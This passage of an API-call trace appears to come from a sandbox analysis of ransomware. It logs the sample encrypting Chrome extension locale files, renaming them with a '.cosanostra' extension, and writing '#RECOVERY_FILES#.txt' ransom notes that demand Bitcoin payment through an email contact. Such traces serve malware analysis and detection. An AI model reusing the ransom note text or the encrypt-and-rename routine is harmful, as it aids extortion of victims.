lpNumberOfBytesWritten=0x251fa70*=0x1bf, lpOverlapped=0x0) returned 1 [0084.652] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.652] WriteFile (in: hFile=0x184, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa70, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa70*=0x2ac, lpOverlapped=0x0) returned 1 [0084.652] CloseHandle (hObject=0x184) returned 1 [0084.652] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa10 | out: pbBuffer=0x251fa10) returned 1 [0084.652] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa08*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa08*=0x30) returned 1 [0084.652] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.653] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 156 [0084.653] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.653] ReadFile (in: hFile=0x184, lpBuffer=0x22dc08, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9cc, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesRead=0x251f9cc*=0xe0, lpOverlapped=0x0) returned 1 [0084.653] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.653] WriteFile (in: hFile=0x184, lpBuffer=0x22dc08*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x251f9cc, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesWritten=0x251f9cc*=0xe0, lpOverlapped=0x0) returned 1 [0084.653] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.654] WriteFile (in: hFile=0x184, lpBuffer=0x251fa0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9cc, lpOverlapped=0x0 | out: lpBuffer=0x251fa0c*, lpNumberOfBytesWritten=0x251f9cc*=0x4, lpOverlapped=0x0) returned 1 [0084.654] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9cc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f9cc*=0x30, lpOverlapped=0x0) returned 1 [0084.654] CloseHandle (hObject=0x184) returned 1 [0084.654] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.cosanostra") returned 167 [0084.654] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0084.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.895] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.895] WriteFile (in: hFile=0x18c, lpBuffer=0x251f8a7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa68, lpOverlapped=0x0 | out: lpBuffer=0x251f8a7*, lpNumberOfBytesWritten=0x251fa68*=0x1bf, lpOverlapped=0x0) returned 1 [0084.896] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.896] WriteFile (in: hFile=0x18c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa68, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa68*=0x2ac, lpOverlapped=0x0) returned 1 [0084.896] CloseHandle (hObject=0x18c) returned 1 [0084.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.909] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.910] WriteFile (in: hFile=0x18c, lpBuffer=0x251f8a3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa64, lpOverlapped=0x0 | out: lpBuffer=0x251f8a3*, lpNumberOfBytesWritten=0x251fa64*=0x1bf, lpOverlapped=0x0) returned 1 [0084.910] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.910] WriteFile (in: hFile=0x18c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa64, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa64*=0x2ac, lpOverlapped=0x0) returned 1 [0084.910] CloseHandle (hObject=0x18c) returned 1 [0084.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.911] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.911] WriteFile (in: hFile=0x18c, lpBuffer=0x251f89f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa60, lpOverlapped=0x0 | out: lpBuffer=0x251f89f*, lpNumberOfBytesWritten=0x251fa60*=0x1bf, lpOverlapped=0x0) returned 1 [0084.912] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.912] WriteFile (in: hFile=0x18c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa60, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa60*=0x2ac, lpOverlapped=0x0) returned 1 [0084.912] CloseHandle (hObject=0x18c) returned 1 [0084.912] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa00 | out: pbBuffer=0x251fa00) returned 1 [0084.912] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f9f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f9f8*=0x30) returned 1 [0084.912] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.912] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json") returned 156 [0084.912] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.913] ReadFile (in: hFile=0x18c, lpBuffer=0x3011550, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesRead=0x251f9bc*=0x101, lpOverlapped=0x0) returned 1 [0084.913] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.913] WriteFile (in: hFile=0x18c, lpBuffer=0x3011550*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x251f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesWritten=0x251f9bc*=0x101, lpOverlapped=0x0) returned 1 [0084.914] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.914] WriteFile (in: hFile=0x18c, lpBuffer=0x251f9fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9bc, lpOverlapped=0x0 | out: lpBuffer=0x251f9fc*, lpNumberOfBytesWritten=0x251f9bc*=0x4, lpOverlapped=0x0) returned 1 [0084.914] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f9bc*=0x30, lpOverlapped=0x0) returned 1 [0084.914] CloseHandle (hObject=0x18c) returned 1 [0084.914] wnsprintfW (in: pszDest=0x3037ea8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.cosanostra") returned 167 [0084.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0084.915] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.915] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.915] WriteFile (in: hFile=0x18c, lpBuffer=0x251f897*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fa58, lpOverlapped=0x0 | out: lpBuffer=0x251f897*, lpNumberOfBytesWritten=0x251fa58*=0x1bf, lpOverlapped=0x0) returned 1 [0084.916] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.916] WriteFile (in: hFile=0x18c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fa58, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fa58*=0x2ac, lpOverlapped=0x0) returned 1 [0084.916] CloseHandle (hObject=0x18c) returned 1 [0084.916] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9f8 | out: pbBuffer=0x251f9f8) returned 1 [0084.916] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f9f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f9f0*=0x30) returned 1 [0084.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.916] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned 160 [0084.916] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.918] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffefd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.918] WriteFile (in: hFile=0x18c, lpBuffer=0x3011550*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x251f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3011550*, lpNumberOfBytesWritten=0x251f9b4*=0x103, lpOverlapped=0x0) returned 1 [0084.918] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.918] WriteFile (in: hFile=0x18c, lpBuffer=0x251f9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9b4, lpOverlapped=0x0 | out: lpBuffer=0x251f9f4*, lpNumberOfBytesWritten=0x251f9b4*=0x4, lpOverlapped=0x0) returned 1 [0084.918] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f9b4*=0x30, lpOverlapped=0x0) returned 1 [0084.918] CloseHandle (hObject=0x18c) returned 1 [0084.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.cosanostra")) returned 1 [0084.931] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9e8 | out: pbBuffer=0x251f9e8) returned 1 [0084.931] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9e0*=0x30) returned 1 [0084.931] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.932] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json") returned 156 [0084.932] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.932] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.932] WriteFile (in: hFile=0x18c, lpBuffer=0x3011528*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x251f9a4, lpOverlapped=0x0 | out: lpBuffer=0x3011528*, lpNumberOfBytesWritten=0x251f9a4*=0xfc, lpOverlapped=0x0) returned 1 [0084.933] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.933] WriteFile (in: hFile=0x18c, lpBuffer=0x251f9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9a4, lpOverlapped=0x0 | out: lpBuffer=0x251f9e4*, lpNumberOfBytesWritten=0x251f9a4*=0x4, lpOverlapped=0x0) returned 1 [0084.933] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f9a4*=0x30, lpOverlapped=0x0) returned 1 [0084.933] CloseHandle (hObject=0x18c) returned 1 [0084.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 